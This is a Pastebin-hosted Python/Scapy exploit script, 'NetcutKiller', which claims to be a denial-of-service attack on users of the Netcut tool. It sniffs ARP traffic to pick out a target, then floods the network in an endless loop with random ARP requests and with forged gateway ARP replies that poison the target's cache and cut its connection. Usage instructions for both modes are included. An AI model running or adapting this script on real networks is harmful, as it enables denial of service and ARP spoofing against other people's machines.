document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. #!/usr/bin/env python  
  2. #Exploit Title: Netcut Denial of Service Vulnerability
  3. #Author: MaYaSeVeN
  4. #Blog: http://mayaseven.blogspot.com
  5. #PoC: Video  http://www.youtube.com/user/mayaseven
  6. #     Picture http://3.bp.blogspot.com/-GcwpOXx7ers/TwGVoyj8SmI/AAAAAAAAAxs/wSGL1tKGflc/s1600/a.png
  7. #Version: Netcut 2
  8. #Software Link: http://www.mediafire.com/?jiiyq2wcpp41266
  9. #Tested on: Windows Xp, Windows 7
  10. #Greetz :  ZeQ3uL, c1ph3r, x-c0d3, p3lo, Retool2, Gen0TypE, Windows98SE, Sumedt, Rocky Sharma
  11.  
  12. from scapy.all import sniff,Ether,ARP,RandIP,RandMAC,Padding,sendp,conf
  13. import commands,os,sys
  14.  
  15. #gw_mac = commands.getoutput("arp -i %s | grep %s" % (conf.iface,conf.iface)).split()[2]
  16. gw_ip  = commands.getoutput("ip route list | grep default").split()[2]
  17.      
  18. def protect(gw_ip,gw_mac):
  19.     os.popen("arp -s %s %s" %(gw_ip,gw_mac))
  20.     print "Protected himself"
  21.      
  22. def detect():
  23.         ans = sniff(filter=\'arp\',timeout=7)
  24.         target=[]
  25.         for r in ans.res:
  26.             target.append(r.sprintf("%ARP.pdst% %ARP.hwsrc% %ARP.psrc%"))
  27.         return target
  28.  
  29. def preattack(gw_ip):
  30.     num = []
  31.     count = 0
  32.     target = 0
  33.     temp = 0
  34.     print "Detecting..."
  35.     d = detect()
  36.     for i in range(len(d)):
  37.         if d[i].split()[0] == "255.255.255.255":
  38.             num.append(d.count(d[i]))
  39.             if d.count(d[i]) > count:
  40.                 count = d.count(d[i])
  41.                 target = i
  42.         if d[i].split()[0] == gw_ip:
  43.             temp += 1      
  44.     if len(d) < 7:
  45.         print "[-] No one use Netcut or try again"
  46.         exit()
  47.     if len(num)*7 < temp:
  48.         num[:] = []
  49.         count = 0
  50.         result = float(temp)/len(d)*100
  51.         for j in range(len(d)):
  52.             if d[i].split()[0] == gw_ip:
  53.                 num.append(d.count(d[j]))
  54.                 if d.count(d[i]) > count:
  55.                     count = d.count(d[i])
  56.                     target = i
  57.             num.reverse()
  58.             result = float(temp)/len(d)*100
  59.         print target
  60.     else:
  61.         num.reverse()
  62.         result = float(num[0]+temp)/len(d)*100
  63.      
  64.     print "There is a possibility that " + str(result) + "%"
  65.     if result>= 50:
  66.         target_mac = d[target].split()[1]
  67.         target_ip = d[target].split()[2]
  68.         print "[+]Detected, Netcut using by IP %s MAC %s" %(target_ip,target_mac)
  69.         attack(target_mac,target_ip,gw_ip)  
  70.     else:
  71.         print "[-] No one use Netcut or try again"
  72.  
  73. def attack(target_mac,target_ip,gw_ip):
  74.     print "[+]Counter Attack !!!"
  75.     e = Ether(dst="FF:FF:FF:FF:FF:FF")
  76.     while 1:
  77.         a = ARP(psrc=RandIP(),pdst=RandIP(),hwsrc=RandMAC(),hwdst=RandMAC(),op=1)
  78.         p = e/a/Padding("\\x00"*18)
  79.         sendp(p,verbose=0)
  80.         a1 = ARP(psrc=gw_ip,pdst=target_ip,hwsrc=RandMAC(),hwdst=target_mac,op=2)
  81.         p1 = e/a1/Padding("\\x00"*18)
  82.         sendp(p1,verbose=0)
  83.          
  84. if __name__ == \'__main__\':
  85.     os.system("clear")
  86.     print   "###################################################"
  87.     print    " __  __    __     __    _____   __      __  _   _"
  88.     print    "|  \\/  |   \\ \\  / /   / ____|  \\ \\   / / | \\ | |"
  89.     print    "| \\ / | __ \\ \\_/ /_ _| (___   __\\ \\ / /__|  \\| |"
  90.     print    "| |\\/| |/ _\\ \\  / _\\ |\\___ \\ / _ \\ \\/ / _ \\ . \\ |"
  91.     print    "| |  | | (_| || | (_| |____) |  __/\\ /  __/ |\\ |"
  92.     print    "|_|  |_|\\__,_||_|\\__,_|_____/ \\___| \\/ \\___|_| \\_|"
  93.     print   " "
  94.     print   "###################################################"
  95.     print   ""
  96.     print   "http://mayaseven.blogspot.com"
  97.     print   ""
  98.     if len(sys.argv) == 2 or len(sys.argv) == 3:
  99.         if len(sys.argv) == 2:
  100.             conf.iface=sys.argv[1]
  101.             preattack(gw_ip)
  102.         if len(sys.argv) == 3:
  103.             conf.iface=sys.argv[1]
  104.             gw_mac = sys.argv[2]
  105.             protect(gw_ip,gw_mac)
  106.             preattack(gw_ip)
  107.     else:
  108.         print \'\'\'Mode:  
  109. 1.)Attack only
  110. Usage: NetcutKiller <Interface>
  111. e.g. NetcutKiller.py wlan0
  112.        
  113. 2.)Attack with protect himself
  114. Usage: NetcutKiller <Interface> <MAC_Gateway>
  115. e.g. NetcutKiller.py wlan0 00:FA:77:AA:BC:AF
  116. \'\'\'
');